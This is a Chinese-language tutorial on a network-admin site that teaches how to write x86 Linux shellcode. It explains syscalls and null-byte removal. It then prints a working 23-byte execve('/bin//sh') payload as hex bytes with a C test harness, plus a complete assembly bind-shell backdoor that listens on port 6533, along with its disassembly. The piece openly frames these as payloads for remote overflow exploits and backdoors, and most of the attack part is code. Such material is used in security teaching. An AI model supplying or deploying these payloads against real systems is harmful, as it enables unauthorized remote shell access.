网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 安全文摘 > [科普]浅入浅出Liunx Shellcode  

[科普]浅入浅出Liunx Shellcode

2008-06-27  作者:bitsCN整理  来源:中国网管联盟  点评 投稿 收藏

一:什么是shellcode
    话说某天某爱国黑客编译了一个Nday溢出利用程序来攻击CNN,输入IP并且enter之后发现目标服务器没有反应,于是拿出sniffer抓包分析...“Oh ,my dog!居然没有带shellcode!”为什么 shellcode对于一个exploit来说这么重要呢?Shellcode到底是什么东西呢?
    简单的说,Shellcode是一段能够完成某种特定功能的二进制代码。具体完成什么任务是由攻击者决定的,可能是开启一个新的shell或者下载某个特定的程序也或者向攻击者返回一个shell等等。
    因为shellcode将会直接操作寄存器和一些系统调用,所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译,反汇编从而得到16进制的操作码,当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。
    接下来就一起来解开shellcode的神秘面纱吧~

二:Linux系统调用
    为什么编写shellcode需要了解系统调用呢?因为系统调用是 用户态和内核态之间的一座桥梁。大多数操作系统都提供了很多应用程序可以访问到的核心函数,shellcode当然也需要调用这些 核心函数。Linux系统提供的核心函数可以方便的实现用来访问文件,执行命令,网络通信等等功能。这些函数就被成为系统调用(System Call)。
网管u家u.bitscn@com

    想知道系统上到底有哪些系统调用可以用,直接查看内核代码即可得到。Linux的系统调用在以下文件中定义:/usr/include/asm-i386 /unistd.h,该文件包含了系统中每个可用的系统调用的定义,内容大概如下:
    #ifndef _ASM_I386_UNISTD_H_  
#define _ASM_I386_UNISTD_H_  

/*  
* This file contains the system call numbers.  
*/  

#define __NR_restart_syscall      0  
#define __NR_exit                 1  
#define __NR_fork                 2  
#define __NR_read                 3  
#define __NR_write                4  
#define __NR_open                 5  
#define __NR_close                6  
#define __NR_waitpid              7   网管下载dl.bitscn.com
#define __NR_creat                8  
#define __NR_link                 9  
#define __NR_unlink              10  
#define __NR_execve              11  
#define __NR_chdir               12  
#define __NR_time                13  
#define __NR_mknod               14  
#define __NR_chmod               15  
.
.
.
.
每个系统调用都有一个名称和相对应的系统调用号组成,由于该文件很长就不一一列出了。知道了linux系统调用是什么样子,下面就来了解下如何使用这些系统调用。启动一个系统调用需要使用int指令,linux系统调用位于中断0x80。当执行一个int 0x80指令后,发出一个软中断,强制内核停止当前工作来处理中断。内核首先检查传入参数的正确性,然后将下面寄存器的值复制到内核的内存空间,接下来参照中断描述符表(IDT)来处理中断。系统调用完成以后,继续执行int指令后的下一条指令。

网管u家u.bitscn@com


    系统调用号是确定一个系统调用的关键数字,在执行int指令之前,它应当被传入EAX寄存器中,确定了一个系统调用号之后就要考虑给该系统调用传递什么参数来完成什么样的功能。存放参数的寄存器有5个,他们是EBX,ECX,EDX,ESI和EDI,这五个寄存器顺序的存放传入的系统调用参数。需要超过6个输入参数的系统调用使用不同的方法把参数传递给系统调用。EBX寄存器用于保护指向输入参数的内存位置的指针,输入参数按照连续的顺序存储。系统调用使用这个指针访问内存位置以便读取参数。
    为了更好的说明一个系统调用的使用全过程,我们来看一个例子,这个例子中调用了write系统调用来将hello,syscall写入到终端,并最终调用exit系统调用安全退出。
代码如下:
.section .data  
output:  
        .ascii "hello,syscall!!!!\n"  
output_end:  
        .equ len,output_end - output  
.section .text  
.globl _start  
_start:  
        movl $4,%eax #define __NR_write                4

网管论坛bbs_bitsCN_com


        movl $1,%ebx  
        movl $output,%ecx  
        movl $len,%edx  
        int $0x80  
        movl $1,%eax  
        movl $0,%ebx  
        int $0x80  
编译该程序,并查看运行结果:
pr0cess@pr0cess:~$Content$nbsp;as -o syscall.o syscall.s  
pr0cess@pr0cess:~$Content$nbsp;ld -o syscall syscall.o  
pr0cess@pr0cess:~$Content$nbsp;./syscall  
hello,syscall!!!!  
可以看到hello,syscall被写入到终端。那么这个过程是怎么实现的呢?首先程序定义了一个字符串hello,syscall!!!!和字符串的长度len,接下来将write系统调用号写入到eax寄存器中,接着write系统调用的第一个参数需要一个文件描述符fd,linux包含3种文件描述符0[STDIN]:终端设备的标准输入;1[STDOUT]:终端设备的标准输出;2[STDERR]:终端设备的标准错误输出。我们这里把fd的值设置为1,就是输入到屏幕上,因此把操作数1赋值给EBX寄存器。write系统调用的第二个参数是要写入字符串的指针,这里需要一个内存地址,因此我们通过movl $output,%ecx把output指向的实际内存地址存放在 ECX寄存器中。write系统调用的第三个参数是写入字符串的长度,按照顺序的参数传递方式,我们把len传递到EDX寄存器中,接着执行int $0x80软中断来执行write系统调用。下一步执行了一个exit(0) 操作,将exit系统调用号1传递给EAX寄存器,将参数0传递给EBX寄存器,然后执行int $0x80来执行系统调用,实现程序的退出。 网管bitscn_com
    为了更清晰的验证我们的系统调用确实被执行了,可以通过strace来查看二进制代码的运行情况,结果如下:
pr0cess@pr0cess:~$Content$nbsp;strace ./syscall  
execve("./syscall", ["./syscall"], [/* 34 vars */]) = 0  
write(1, "hello,syscall!!!!\n", 18hello,syscall!!!!  
)     = 18  
_exit(0)    
通过返回的结果我们可以清楚的看到刚才syscall程序都执行了哪些系统调用,以及每个系统调用都传递了什么参数进去。
    已经了解了系统调用的实现过程,让我们离shellcode更进一步吧。

三:第一个shellcode
    最初当shellcode这个名词来临的时候,目的只是获得一个新的shell,在那时已经是一件很美妙的事情,接下来我们就来实现如何获得一个新的shell来完成我们第一个shellcode的编写。这里需要注意的一个基本的关键的地方就是在shellcode中不能出现/x00也就是NULL字符,当出现NULL字符的时候将会导致shellcode被截断,从而无法完成其应有的功能,这确实是一个让人头疼的问题。那么有什么解决办法呢?我们先来抽取上个例子syscall中的16进制机器码来看看有没有出现/x00截断符: 中国网管联盟bitsCN.com
pr0cess@pr0cess:~$Content$nbsp;objdump -d ./syscall  

./syscall:     file format elf32-i386  

Disassembly of section .text:  

08048074 <_start>:  
8048074:       b8 04 00 00 00          mov    $0x4,%eax  
8048079:       bb 01 00 00 00          mov    $0x1,%ebx  
804807e:       b9 98 90 04 08          mov    $0x8049098,%ecx  
8048083:       ba 12 00 00 00          mov    $0x12,%edx  
8048088:       cd 80                   int    $0x80  
804808a:       b8 01 00 00 00          mov    $0x1,%eax  
804808f:       bb 00 00 00 00          mov    $0x0,%ebx  
网管u家u.bitsCN.com

8048094:       cd 80                   int    $0x80  
pr0cess@pr0cess:~$Content$nbsp;
噢!!!这个SB的程序在
8048074:       b8 04 00 00 00          mov    $0x4,%eax
这里就已经被00截断了,完全不能用于shellcode,只能作为一般的汇编程序运行。现在来分析下为什么会出现这种情况。现看这两段代码:
        movl $4,%eax  
        movl $1,%ebx
这两条指令使用的是32位(4字节)的寄存器EAX和EBX,而我们却只分别赋值了1个字节到寄存器中,所以系统会用NULL字符(00)来填充剩下的字节空间,从而导致shellcode被截断。知道了原因就可以找到很好的解决方法了,一个EAX寄存器是32位,32位寄存器也可以通过16位或者8位的名称引用,我们通过AX寄存器来访问第一个16位的区域(低16位),继续通过对AL的引用EAX寄存器的低8位被使用,AH使用AL后的高8位。
EAX寄存器的构成如下:
EAX寄存器
31                            15            7            0

网管联盟bitsCN@com


    AH
AL
AX
在syscall的例子中操作数$4和$1二进制都只占8位,所以只需要把这两个操作数赋值给AL就可以了,这样就避免了使用EAX寄存器时,系统用NULL填充其他空间。
我们来修改一下代码看看,把
        movl $4,%eax  
        movl $1,%ebx
改为
        mov $4,%al  
        mov $1,%bl
再重新编译连接syscall程序,并且查看一下objdump的结果:
pr0cess@pr0cess:~$Content$nbsp;./syscall  
hello,syscall!!!!  
pr0cess@pr0cess:~$Content$nbsp;objdump -d ./syscall  

./syscall:     file format elf32-i386  

Disassembly of section .text:  

08048074 <_start>:  
8048074:       b0 04                   mov    $0x4,%al  
8048076:       b3 01                   mov    $0x1,%bl  

网管u家u.bitscn@com


8048078:       b9 90 90 04 08          mov    $0x8049090,%ecx  
804807d:       ba 12 00 00 00          mov    $0x12,%edx  
8048082:       cd 80                   int    $0x80  
8048084:       b8 01 00 00 00          mov    $0x1,%eax  
8048089:       bb 00 00 00 00          mov    $0x0,%ebx  
804808e:       cd 80                   int    $0x80  
pr0cess@pr0cess:~$Content$nbsp;
看到了,已经成功的把 NULL字符给去掉了,同理可以把下面语句都改写一遍,这样就可以使这个程序作为shellcode运行了。
下面我们就来编写第一个有实际意义的shellcode,它将打开一个新的shell。当然,这在本地是没有什么意义,可是当它作为一个远程溢出在目标机器上打开shell的时候,那作用可就不能小视了。打开一个新的shell我们需要用到execve系统调用,先来看看man手册里是怎么定义这个函数的: 网管联盟bitsCN@com
NAME  
       execve - execute program  

SYNOPSIS  
       #include <unistd.h>  

       int execve(const char *filename, char *const argv[],  
                  char *const envp[]);  
可以看到execve系统调用需要3个参数,为了说明怎么使用先来写一个简单的C程序来调用execve函数:
#include <stdio.h>  
int main()  
{  
        char *sc[2];  
        sc[0]="/bin/sh";  
        sc[1]=  NULL;  
        execve(sc[0],sc,NULL);  
}  
通过execve执行一个/bin/sh从而获得一个新的shell,编译来看下结果:
pr0cess@pr0cess:~$Content$nbsp;gcc -o newshell newshell.c  
pr0cess@pr0cess:~$Content$nbsp;./newshell  
$Content$nbsp;exit   网管网www.bitscn.com
pr0cess@pr0cess:~$Content$nbsp;
新shell已经成功的诞生了!!
为了编写execve的shellcode我们用汇编实现一下以上C程序的功能,代码如下:
.section .text  
.globl _start  
_start:  
        xorl %eax,%eax  
        pushl %eax  
        pushl $0x68732f6e  
        pushl $0x69622f2f  
        movl %esp,%ebx  
        pushl %eax  
        pushl %ebx  
        movl %esp,%ecx  
        movb $0xb,%al  
        int $0x80
来解释一下这段代码,首先为了避免mov赋值带来的00,用一个异或操作来把EAX寄存器清空
xorl %eax,%eax  
接着将4字节的NULL压栈
pushl %eax
将/bin//sh压栈,保持对齐,第一个参数
pushl $0x68732f6e  
pushl $0x69622f2f

网管论坛bbs_bitsCN_com


将/bin//sh存放到EBX寄存器,第2个参数
movl %esp,%ebx  
压4字节的NULL,第3个参数,环境变量为 NULL
pushl %eax  
将EBX压栈
pushl %ebx  
把EBX地址存入ECX寄存器
movl %esp,%ecx  
将execve系统调用号11(0xb)压入AL寄存器,消00
movb $0xb,%al
调用int指令进入中断
int $0x80
OK,现在来测试一下这个程序是否能给我们带来一个新的shell
pr0cess@pr0cess:~$Content$nbsp;as -o exec.o exec.s  
pr0cess@pr0cess:~$Content$nbsp;ld -o exec exec.o  
pr0cess@pr0cess:~$Content$nbsp;./exec  
$Content$nbsp;exit  
pr0cess@pr0cess:~$Content$nbsp;
HOHO~~成功执行了!!接着来提取16进制机器码
pr0cess@pr0cess:~$Content$nbsp;objdump -d ./exec  

./exec:     file format elf32-i386  

Disassembly of section .text:  

08048054 <_start>:  
8048054:       31 c0                   xor    %eax,%eax   网管联盟bitsCN@com
8048056:       50                      push   %eax  
8048057:       68 6e 2f 73 68          push   $0x68732f6e  
804805c:       68 2f 2f 62 69          push   $0x69622f2f  
8048061:       89 e3                   mov    %esp,%ebx  
8048063:       50                      push   %eax  
8048064:       53                      push   %ebx  
8048065:       89 e1                   mov    %esp,%ecx  
8048067:       b0 0b                   mov    $0xb,%al   网管论坛bbs_bitsCN_com
8048069:       cd 80                   int    $0x80  
pr0cess@pr0cess:~$Content$nbsp;
放到一个C程序中来完成整个shellcode的编写测试吧
/*
*linux/x86 execve("/bin//sh/",["/bin//sh"],NULL) shellcode 23bytes
*xuanmumu@gmail.com
*/
pr0cess@pr0cess:~$Content$nbsp;objdump -d exec

exec:     file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054:       31 c0                   xor    %eax,%eax
8048056:       50                      push   %eax
8048057:       68 6e 2f 73 68          push   $0x68732f6e
804805c:       68 2f 2f 62 69          push   $0x69622f2f 网管u家u.bitsCN.com
8048061:       89 e3                   mov    %esp,%ebx
8048063:       50                      push   %eax
8048064:       53                      push   %ebx
8048065:       89 e1                   mov    %esp,%ecx
8048067:       b0 0b                   mov    $0xb,%al
8048069:       cd 80                   int    $0x80
pr0cess@pr0cess:~$

char sc[] =
    "\x31\xc0"
    "\x50"
    "\x68\x6e\x2f\x73\x68"
    "\x68\x2f\x2f\x62\x69" 网管网www_bitscn_com
    "\x89\xe3"
    "\x50"
    "\x53"
    "\x89\xe1"
    "\xb0\x0b"
    "\xcd\x80"
;
int main()
{
       void    (*fp)(void) = (void (*)(void))sc;

       printf("Length: %d\n",strlen(sc));
       fp();
}
pr0cess@pr0cess:~$Content$nbsp;gcc -o execve execve.c  
pr0cess@pr0cess:~$Content$nbsp;./execve  
Length: 23  
$Content$nbsp;exit  
pr0cess@pr0cess:~$Content$nbsp;
成功了!我们编写了第一个linux下的shellcode,并且能顺利工作了。稍微休息一下,下一节带来一个更cool的bindshell功能的shellcode~~

四:绑定端口的shellcode
    根据上一节所说的,本地打开一个新的shell在面对远程目标时就不是那么有用了,这时我们需要在远程目标上打开一个可交互的shell,这样对我们更有帮助,等于直接获得了一个进入远程系统的后门,这就是端口绑定shellcode。

网管u家u.bitsCN.com


    写到这里就需要一些网络编程的知识了,这里不再详细讲解如何进行网络编程,只是大概说一下一个bindshell后门程序的编写过程:
    首先要建立一个socket
    server=socket(2,1,0)
    建立一个sockaddr_in结构,包含IP和端口信息
    将端口和IP邦定到socket    
    bind()
    打开端口监听该socket
    listen()
    当有连接时向客户端返回一个句柄
    accept()
    将返回的句柄复制到STDIN,STDOUT,STDERR  
    dup2()
    调用execve执行/bin/sh
    看了这些过程可能有些迷茫,下面我给出一个以前我些的bindshell.c后门程序,可以很清晰的看到一个bindshell是如何实现的:http://www.bugshower.org/xbind.c
    通过对一个端口绑定后门C程序的分析已经了解了整个实现过程,为了更方便的提取shellcode我们需要用汇编来改写这个程序。这里一个新的系统调用将被使用,这就是socketcall系统调用,这个系统调用号是102。先来看一下man里面关于这个系统调用的参数信息: 网管u家u.bitsCN.com
NAME  
       socketcall - socket system calls  

SYNOPSIS  
       int socketcall(int call, unsigned long *args);  
该系统调用需要两个参数,第一个参数是一个整数值,存放在EBX寄存器中,对于一个bindshell我们只需要用到4个数值,分别是:
SYS_SOCKET        1
SYS_BIND        2
SYS_LISTEN        4
SYS_ACCEPT        5
第二个参数是一个指针,指向一个参数数组,把它存在ECX寄存器中。
现在所有准备工作都已经就绪,开始用汇编编写一个bindshell后门吧~代码和注释如下:
#xuanmumu@gmail.com&process@cnbct.org  
# bindshell.s --bindport on 6533  
.section .text  
.global _start  
_start:  
#清空各寄存器
xor %eax,%eax  
xor %ebx,%ebx  
xor %ecx,%ecx  

#socket(2,1,0)创建一个TCP连接,注意字节序。
push %eax        #压入第3个参数 0 网管论坛bbs_bitsCN_com
push $0x1         #压入第2个参数 1
push $0x2         #压入第1个参数 2
mov %esp,%ecx     #将ECX里的数组地址作为socketcall系统调用的第2个参数
inc %bl         #bl=0+1,作为socketcall的第一个参数,调用socket函数
movb $0x66,%al     #调用socketcall,0x66=102
int $0x80         #中断
mov %eax,%esi     将返回句柄保存在ESI中

#bind()
push %edx        #EDX压栈作为结束符  
push $0x8519FF02     #0x8519=6533,sin.family=02,FF任意字节填充
mov %esp,%ecx    #将ESP地址赋值给ECX  
push $0x10         #开始bind的参数,0x10压栈
push %ecx         #保存地址
push %esi         #把前面的句柄压栈
mov %esp,%ecx     #继续把数组地址作为socketcall调用的第2个参数
inc %bl         #bl=1+1=2=SYS_BIND 网管u家u.bitscn@com
mov $0x66,%al     #调用socketcall
int $0x80         #中断

#listen()
push %edx         #EDX压栈,作为结束符
push %esi         #句柄压栈,作为listen的参数
mov %esp,%ecx     #将数组地址设为socketcall的第2个参数
mov $0x4,%bl     #bl=4=SYS_LISTEN  
mov $0x66,%al     #执行socketcall系统调用
int $0x80         #中断

#accept()
push %edx         #参数0
push %edx         #参数0
push %esi         #句柄压栈
mov %esp,%ecx     #将数组设为系统调用第2个参数
inc %bl         #bl=4+1=SYS_ACCEPT    
mov $0x66,%al     #执行系统调用
int $0x80         #中断

#dup2()
mov %eax,%ebx     #将accept返回的句柄复制到EBX
xor %ecx,%ecx     #清空
网管u家u.bitsCN.com

mov $0x3f,%al     #dup2系统调用,0x3f=63
int $0x80         #中断
inc %ecx         #1
mov $0x3f,%al  
int $0x80  
inc %ecx         #2
mov $0x3f,%al  
int $0x80  

#之前熟悉的execve调用,打开一个新的shell
push %edx  
push $0x68732f2f  
push $0x6e69622f  
mov %esp,%ebx  
push %edx  
push %ebx  
mov %esp ,%ecx  
mov $0xb,%al  
int $0x80  
    呵..现在可以休息一下了,终于完成了这个恶心的程序的编写工作,测试一下是否能正常工作吧~
pr0cess@pr0cess:~$Content$nbsp;as -o bindshell.o bindshell.s  
pr0cess@pr0cess:~$Content$nbsp;ld -o bindshell bindshell.o  
pr0cess@pr0cess:~$Content$nbsp;./bindshell  
再新开一个终端去连接,顺利的话我们应该能在6533端口得到一个shell的~
pr0cess@pr0cess:~$Content$nbsp;netstat -an |grep "6533"  
中国网管联盟bitsCN.com

tcp        0      0 0.0.0.0:6533            0.0.0.0:*               LISTEN      
pr0cess@pr0cess:~$Content$nbsp;nc 192.168.12.211 6533  
uname -a  
Linux pr0cess 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux  
exit  
pr0cess@pr0cess:~$Content$nbsp;
啊哈~美妙的shell出现了,程序顺利的完成它的工作,它可以去死了,我们来提取shellcode吧:
pr0cess@pr0cess:~$Content$nbsp;objdump -d ./bindshell  

./bindshell:     file format elf32-i386  

Disassembly of section .text:  

08048054 <_start>:  
8048054:       31 c0                   xor    %eax,%eax  
8048056:       31 db                   xor    %ebx,%ebx   网管bitscn_com
8048058:       31 c9                   xor    %ecx,%ecx  
804805a:       50                      push   %eax  
804805b:       6a 01                   push   $0x1  
804805d:       6a 02                   push   $0x2  
804805f:       89 e1                   mov    %esp,%ecx  
8048061:       fe c3                   inc    %bl  
8048063:       b0 66                   mov    $0x66,%al  
8048065:       cd 80                   int    $0x80  
网管u家u.bitscn@com

8048067:       89 c6                   mov    %eax,%esi  
8048069:       52                      push   %edx  
804806a:       68 02 ff 19 85          push   $0x8519ff02  
804806f:       89 e1                   mov    %esp,%ecx  
8048071:       6a 10                   push   $0x10  
8048073:       51                      push   %ecx  
8048074:       56                      push   %esi  
8048075:       89 e1                   mov    %esp,%ecx  

网管网www_bitscn_com


8048077:       fe c3                   inc    %bl  
8048079:       b0 66                   mov    $0x66,%al  
804807b:       cd 80                   int    $0x80  
804807d:       52                      push   %edx  
804807e:       56                      push   %esi  
804807f:       89 e1                   mov    %esp,%ecx  
8048081:       b3 04                   mov    $0x4,%bl  
8048083:       b0 66                   mov    $0x66,%al   网管网www_bitscn_com
8048085:       cd 80                   int    $0x80  
8048087:       52                      push   %edx  
8048088:       52                      push   %edx  
8048089:       56                      push   %esi  
804808a:       89 e1                   mov    %esp,%ecx  
804808c:       fe c3                   inc    %bl  
804808e:       b0 66                   mov    $0x66,%al  
8048090:       cd 80                   int    $0x80  
网管u家u.bitscn@com

8048092:       89 c3                   mov    %eax,%ebx  
8048094:       31 c9                   xor    %ecx,%ecx  
8048096:       b0 3f                   mov    $0x3f,%al  
8048098:       cd 80                   int    $0x80  
804809a:       41                      inc    %ecx  
804809b:       b0 3f                   mov    $0x3f,%al  
804809d:       cd 80                   int    $0x80  
804809f:       41                      inc    %ecx  

网管网www_bitscn_com


80480a0:       b0 3f                   mov    $0x3f,%al  
80480a2:       cd 80                   int    $0x80  
80480a4:       52                      push   %edx  
80480a5:       68 2f 2f 73 68          push   $0x68732f2f  
80480aa:       68 2f 62 69 6e          push   $0x6e69622f  
80480af:       89 e3                   mov    %esp,%ebx  
80480b1:       52                      push   %edx  
80480b2:       53                      push   %ebx   网管联盟bitsCN@com
80480b3:       89 e1                   mov    %esp,%ecx  
80480b5:       b0 0b                   mov    $0xb,%al  
80480b7:       cd 80                   int    $0x80  
pr0cess@pr0cess:~$Content$nbsp;
检查了一下,机器码中没有出现00,可以放心的提取作为shellcode使用。具体的提取过程之前已经介绍过,也给出了相应的C程序模板,这里就不再重复工作了。

五:总结

    本文没有什么高深的技术,没有华丽的技巧,浅入浅出的介绍了基本的linuxshellcode的编写过程,顺利完成了科普的目的。

TAGs   科普       调用   mov   系统   一个   push   int   %ecx   %eax   Content      
 上一篇:让你的电脑达到最强安全的配置   下一篇:没有了
[科普]浅入浅出Liunx Shellcode 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: